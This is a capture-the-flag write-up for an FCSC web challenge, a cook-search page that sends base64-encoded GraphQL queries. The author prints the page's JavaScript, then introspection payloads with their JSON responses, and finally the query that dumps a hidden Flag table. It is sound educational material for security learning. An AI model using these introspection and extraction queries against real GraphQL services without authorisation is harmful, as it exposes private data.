Nous avons développé une plateforme de recherche de cuisiniers. Venez la tester !

There’s a search platform that allows us to search for cooks.

Index

Exploit

We only have a search bar, and the results are displayed in a table on the right.

We have the following javascript:


		function makeSearch(searchInput) {
			if(searchInput.length == 0) {
				alert("You must provide at least one character!");
				return false;
			}

			var searchValue = btoa('{ allCooks (filter: { firstname: {like: "%'+searchInput+'%"}}) { nodes { firstname, lastname, speciality, price }}}');
			var bodyForm = new FormData();
			bodyForm.append("search", searchValue);

			fetch("index.php?search="+searchValue, {
				method: "GET"
			}).then(function(response) {
				response.json().then(function(data) {
					data = eval(data);
					data = data['data']['allCooks']['nodes'];
					$("#results thead").show()
					var table = $("#results tbody");
					table.html("")
					$("#empty").hide();
					data.forEach(function(item, index, array){
						table.append("<tr class='table-dark'><td>"+item['firstname']+" "+ item['lastname']+"</td><td>"+item['speciality']+"</td><td>"+(item['price']/100)+"</td></tr>");
					});
					$("#count").html(data.length)
					$("#count").show()
				});
			});
		}

		$("#clear-btn").click(function() {
			$("#search").val("");
			$("#results tbody").html("");
			$("#results thead").hide();
			$("#count").hide()
			$("#empty").show();
		})

		$("#search-btn").click(function() {
			var content = $('#search').val();
			makeSearch(content);
		})

Ok, so when we search for a cook we send the following query encoded in base64 to the index page through the search parameter:

{ allCooks (filter: { firstname: {like: "%'+searchInput+'%"}}) { nodes { firstname, lastname, speciality, price }}}

We can trigger an error with {__schema}.

Error GraphQL

It’s a good sign, it’s seems that we have a GraphQL Injection.

Thanks to Swissky we have some GraphQL injection payloads on PayloadAllTheThings.

Let’s start by extracting the schema via Introspection with the following query (encoded in base64):

The introspection system allows us to get information about what queries the schema supports, their types, names etc

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}
fragment InputValue on __InputValue {
  name
  description
  type {
    ...TypeRef
  }
  defaultValue
}
fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

query IntrospectionQuery {
  __schema {
    queryType {
      name
    }
    mutationType {
      name
    }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

Introspection

Nice, we have the schema (I didn’t paste it because it’s quite long).

The following steps are optional because we already have the schema, but if you want to target some specific things, the following payloads might be helpful.

We can also just extract the object name with this payload:

{__schema{types{name}}}

Here’s the response:

{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "Query"
        },
        {
          "name": "Node"
        },
        {
          "name": "ID"
        },
        {
          "name": "Int"
        },
        {
          "name": "Cursor"
        },
        {
          "name": "CooksOrderBy"
        },
        {
          "name": "CookCondition"
        },
        {
          "name": "String"
        },
        {
          "name": "CookFilter"
        },
        {
          "name": "IntFilter"
        },
        {
          "name": "Boolean"
        },
        {
          "name": "StringFilter"
        },
        {
          "name": "CooksConnection"
        },
        {
          "name": "Cook"
        },
        {
          "name": "CooksEdge"
        },
        {
          "name": "PageInfo"
        },
        {
          "name": "FlagsOrderBy"
        },
        {
          "name": "FlagCondition"
        },
        {
          "name": "FlagFilter"
        },
        {
          "name": "FlagsConnection"
        },
        {
          "name": "Flag"
        },
        {
          "name": "FlagsEdge"
        },
        {
          "name": "__Schema"
        },
        {
          "name": "__Type"
        },
        {
          "name": "__TypeKind"
        },
        {
          "name": "__Field"
        },
        {
          "name": "__InputValue"
        },
        {
          "name": "__EnumValue"
        },
        {
          "name": "__Directive"
        },
        {
          "name": "__DirectiveLocation"
        }
      ]
    }
  }
}

Let’s see which queries are available with this payload:

{__type (name: "Query") {name fields{name type{name kind ofType{name kind}}}}}

Here’s the response:

{
  "data": {
    "__type": {
      "name": "Query",
      "fields": [
        {
          "name": "query",
          "type": {
            "name": null,
            "kind": "NON_NULL",
            "ofType": {
              "name": "Query",
              "kind": "OBJECT"
            }
          }
        },
        {
          "name": "nodeId",
          "type": {
            "name": null,
            "kind": "NON_NULL",
            "ofType": {
              "name": "ID",
              "kind": "SCALAR"
            }
          }
        },
        {
          "name": "node",
          "type": {
            "name": "Node",
            "kind": "INTERFACE",
            "ofType": null
          }
        },
        {
          "name": "allCooks",
          "type": {
            "name": "CooksConnection",
            "kind": "OBJECT",
            "ofType": null
          }
        },
        {
          "name": "allFlags",
          "type": {
            "name": "FlagsConnection",
            "kind": "OBJECT",
            "ofType": null
          }
        },
        {
          "name": "cookById",
          "type": {
            "name": "Cook",
            "kind": "OBJECT",
            "ofType": null
          }
        },
        {
          "name": "flagById",
          "type": {
            "name": "Flag",
            "kind": "OBJECT",
            "ofType": null
          }
        },
        {
          "name": "cook",
          "type": {
            "name": "Cook",
            "kind": "OBJECT",
            "ofType": null
          }
        },
        {
          "name": "flag",
          "type": {
            "name": "Flag",
            "kind": "OBJECT",
            "ofType": null
          }
        }
      ]
    }
  }
}

Let’s see what are the attributes of the Flag object:

{__type (name: "Flag") {name fields{name type{name kind ofType{name kind}}}}}

Here’s the reponse:

{
  "data": {
    "__type": {
      "name": "Flag",
      "fields": [
        {
          "name": "nodeId",
          "type": {
            "name": null,
            "kind": "NON_NULL"
          }
        },
        {
          "name": "id",
          "type": {
            "name": null,
            "kind": "NON_NULL"
          }
        },
        {
          "name": "flag",
          "type": {
            "name": "String",
            "kind": "SCALAR"
          }
        }
      ]
    }
  }
}

Ok, so we have an interesting object call Flag and some queries related to this object, the most interesting one is probably allFlags.

So we have to call this query and tell it what attributes we want to get, we can do that with the following query:

{ allFlags { nodes { nodeId, id, flag }}}

Flag

Great! We have the flag: FCSC{1ef3c5c3ac3c56eb178bafea15b07b82c4a0ea8184d76a722337dca108add41a}, we just had to perform the right query!

This was an easy challenge but a good introduction to GraphQL and above all a good preparation for the second challenge!

Thanks to the FCSC team, this was an awesome CTF, I’ve learned a lot and had a lot of fun. Congratulation for the organization, see you next year!